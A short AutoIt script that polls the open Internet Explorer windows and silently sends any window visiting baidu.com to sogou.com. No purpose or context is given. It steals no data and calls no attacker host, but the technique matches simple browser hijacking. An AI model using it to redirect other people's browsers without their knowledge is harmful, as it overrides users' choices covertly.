$oShell = ObjCreate('shell.application')
While 1
Sleep(400)
$oShellWindows = $oShell.windows
If $oShellWindows <> '' Then
For $Window In $oShellWindows
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
If StringInStr($Window.locationurl,'www.baidu.com',2) Then
$Window.navigate('http://www.sogou.com')
Sleep(500)
EndIf
EndIf
Next
EndIf
WEnd